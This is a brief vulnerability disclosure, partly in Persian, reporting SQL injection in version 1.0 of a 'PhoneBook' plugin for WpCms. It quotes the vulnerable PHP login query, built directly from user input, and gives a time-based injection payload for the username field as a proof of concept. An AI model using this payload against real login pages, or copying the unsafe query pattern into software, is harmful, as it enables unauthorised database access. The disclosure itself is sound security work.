آسیب پذیری Sql injection در پلاگین PhoneBook از WpCms :
#vulnerabilities:
in index.php line 13 :
$sql = mysqli_query($dbcon,"SELECT * FROM userdetails WHERE username = '$username' AND password = '$password'");


#POC:
Username = ' or sleep(5)='-- -
Password = ' '

#V:
1.0

#VulnerablePage: http://localhost/PhoneBook/index.php